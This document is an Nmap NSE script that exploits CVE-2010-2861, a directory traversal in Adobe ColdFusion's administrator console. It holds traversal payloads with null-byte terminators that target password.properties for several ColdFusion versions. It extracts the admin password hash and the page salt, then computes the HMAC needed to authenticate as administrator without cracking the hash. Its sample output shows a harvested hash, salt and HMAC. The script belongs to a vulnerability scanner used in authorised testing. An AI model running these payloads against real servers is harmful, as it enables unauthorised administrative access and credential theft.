description = [[
Executes a directory traversal attack against a ColdFusion
server and tries to grab the password hash for the administrator user. It
then uses the salt value (hidden in the web page) to create the SHA1
HMAC hash that the web server needs for authentication as admin. You can
pass this value to the ColdFusion server as the admin without cracking
the password hash.
]]

---
-- @usage
-- nmap --script http-vuln-cve2010-2861 <host>
--
-- @output
-- 80/tcp open  http
-- | http-vuln-cve2010-2861:
-- |   VULNERABLE:
-- |   Adobe ColdFusion enter.cfm Traversal password.properties Information Disclosure
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2010-2861  OSVDB:67047
-- |     Description:
-- |       Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion
-- |       9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter
-- |     Disclosure date: 2010-08-10
-- |     Extra information:
-- |
-- |   ColdFusion8
-- |   HMAC: d6914bef568f8931d0c696cd5f7748596f97db5d
-- |   Salt: 1329446896585
-- |   Hash: 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
-- |
-- |     References:
-- |       http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking
-- |       http://www.nessus.org/plugins/index.php?view=single&id=48340
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2861
-- |       http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861
-- |_      http://osvdb.org/67047
--
--
-- This script relies on the service being identified as HTTP or HTTPS. If the
-- ColdFusion server you run this against is on a port other than 80/tcp or 443/tcp
-- then use "nmap -sV" so that nmap discovers the port as an HTTP server.

author = "Micah Hoffman"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "vuln"}

require("http")
require("shortport")
require("tab")
require("vulns")
require("stdnse")
stdnse.silent_require("openssl")

portrule = shortport.http

action = function(host, port)
 
  local vuln = {
       title = 'Adobe ColdFusion Directory Traversal Vulnerability',
       state = vulns.STATE.NOT_VULN, -- default
       IDS = {CVE = 'CVE-2010-2861', OSVDB = '67047'},
       description = [[
Multiple directory traversal vulnerabilities in the administrator console
in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the
locale parameter]],
       references = {
           'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking',
           'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861',
           'http://osvdb.org/67047',
           'http://www.nessus.org/plugins/index.php?view=single&id=48340',
       },
       dates = {
           disclosure = {year = '2010', month = '08', day = '10'},
       },
     }
	local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)

	-- Function to do the look up and return content
	local grabAndGrep = function(page)
 		-- Do the HTTP GET request for the page
		local response = http.get(host, port, page)
	 	-- Check to see if we get a good page returned
		-- Is there no response?
		if ( not(response.status) ) then
			return false, "Received no response from HTTP server"
		end

		-- Is the response not an HTTP 200 code?
		if ( response.status ~= 200 ) then
	 		return false, ("The server returned an unexpected response (%d)"):format(response.status )
		end

		-- Now check the body for our strings
		if ( response.body ) then
	 		local saltcontent = response.body:match("salt.*value=\"(%d+)")
			local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password

			-- If a page has both the salt and the password in it then the exploit has been successful
			if ( saltcontent and hashcontent ) then
	 			vuln.state = vulns.STATE.EXPLOIT
				-- Generate HMAC as this is what the web application needs for authentication as admin
	 			local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper()
	   			--return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent)
				local result = { 
					("HMAC: %s"):format(hmaccontent), 
					("Salt: %s"):format(saltcontent),
					("Hash: %s"):format(hashcontent)
				}
				return true, result
	 		end
		end
		return false, "Not vulnerable"
 	end

	local exploits = {
		['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties\%00en',
 		['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties\%00en',
		['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties\%00en',
 		['JRun4\\servers'] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties\%00en',
 	}

	local results = {}
	for prod, exploit in pairs(exploits) do
		local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit)
		if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then
			if ( "string" == type(result) ) then
				result = { result }
			end
			result.name = prod
			table.insert(results, result )
		end
	end
 	vuln.extra_info=stdnse.format_output(true, results)
	return vuln_report:make_output(vuln)
end
